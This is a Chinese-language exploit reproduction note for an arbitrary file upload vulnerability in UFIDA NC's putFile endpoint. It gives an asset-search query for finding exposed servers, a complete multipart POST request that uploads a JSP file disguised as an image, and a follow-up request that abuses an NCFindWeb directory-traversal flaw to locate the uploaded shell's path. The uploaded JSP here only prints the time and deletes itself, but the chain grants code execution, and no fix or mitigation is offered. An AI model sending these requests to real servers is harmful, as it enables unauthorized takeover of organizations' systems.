用友UFIDA NC putFile存在任意文件上传漏洞
一、漏洞简介
用友UFIDA NC putFile存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。
二、影响版本
- 用友UFIDA NC
三、资产测绘
- hunter
app.name="用友 UFIDA NC" - 特征
四、漏洞复现
POST /portal/file?cmd=putFile&pk_org=1 HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 1010
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUscir5wae6fGsk4f
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=4CE4F022D21FE883F86C892F25CFFA69; JSESSIONID=323578C1A50D1E687A0AB7434C16485F
Connection: close
------WebKitFormBoundaryUscir5wae6fGsk4f
Content-Disposition: form-data; name="pic"; filename="1.jsp"
Content-Type: image/jpeg
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
// 获取当前时间
java.util.Date currentTime = new java.util.Date();
String currentTimeString = currentTime.toString();
// 输出当前时间
out.println(currentTimeString);
// 删除当前文件
java.io.File file = new java.io.File(request.getRealPath(request.getServletPath()));
file.delete();
%>
------WebKitFormBoundaryUscir5wae6fGsk4f
Content-Disposition: form-data; name="style"
file
------WebKitFormBoundaryUscir5wae6fGsk4f
Content-Disposition: form-data; name="source"
------WebKitFormBoundaryUscir5wae6fGsk4f
Content-Disposition: form-data; name="identifier"
compdoc_123
------WebKitFormBoundaryUscir5wae6fGsk4f
Content-Disposition: form-data; name="pkfile"
------WebKitFormBoundaryUscir5wae6fGsk4f--
需结合用友UFIDA NC NCFindWeb 目录遍历漏洞查看上传文件名
GET /NCFindWeb?filename=../../hotwebs/portal/files/compdoc HTTP/1.1
Host: xx.xx.xx.xx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=4CE4F022D21FE883F86C892F25CFFA69; JSESSIONID=323578C1A50D1E687A0AB7434C16485F
Connection: close
上传文件位置
/portal/files/compdoc/1_sep_1699582686338.jsp